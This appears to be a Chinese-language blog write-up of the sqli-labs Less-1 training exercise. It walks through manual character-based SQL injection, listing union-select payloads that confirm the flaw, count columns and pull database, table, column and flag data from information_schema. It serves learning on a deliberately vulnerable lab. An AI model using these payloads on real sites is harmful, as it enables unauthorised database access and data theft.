sqli-labs (1)
sqli-labs实验前:
本人因在sqli-labs搭建过程中遇到大量问题,百度后依旧无果,所以现决定在在线sqli-labs平台进行试验。
sqli-labs在线平台: http://43.247.91.228:84/
在线平台sqli-labs Page-1 点击Less-1可直接进行试验
一.知识点
1.FireFox插件HackBar使用
2.字符型注入:注意单引号闭合
3.sqlmap这里暂时不使用,想了解的可以自己尝试,刚开始手工注入扎扎实实打基础较好。
4.字符型注入判断
(1)判断注入
?id=1' and 1=1 --+ 返回正确
?id=1' and 1=2 --+ 返回错误
(2)猜字段
?id=1' order by 2 --+ 返回正确
?id=1' order by 3 --+ 返回错误 得出字段数为 2下面为测试空格字符代替情况 (可跳过)?id=1' order by 2 -- - 返回正确
?id=1' order by 2 -- / 返回正确
(3)爆数据库名
?id=1' and 1=2 union select 1,database()--+
得到数据库sqli
(4)爆表名
?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'--+
(5)爆列名
?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+
(6)爆字段内容(flag)
?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag--+
二.题解
注:以下解题步骤大多以图片显示不再做过多解释
字段为3的时候显示正常,字段为4时显示错误,所以最终字段为3
数据库名为security
因为第二步爆出有3个字段,所以select后面要跟3个字段,下面这张图片为跟了两个字段时的情形会显示错误
爆出的表名有四个:emails,referers,uagents,users
上面四个表名中uagents,users两个表名最可疑,经过尝试在users表中得到了payload如下图
总结:字符型注入可以按照以上六步进行手工尝试最后得到payload
推荐:最后给大家推荐几个sql或者其他漏洞学习方面不错的网站
sql整数型/字符型注入: https://www.cnblogs.com/threesoil/p/12431496.html
ctf wiki: https://ctf-wiki.github.io/ctf-wiki/web/sqli-zh/
狼组知识库web方面: https://wiki.wgpsec.org/knowledge/web/
ctfhub sql注入wp: https://www.cnblogs.com/0yst3r-2046/p/12469632.html(最后这个是来自ctfhub学习中偶然看到的一位不认识的大佬,ta的ctf wp都挺详细的大家也可以多做学习)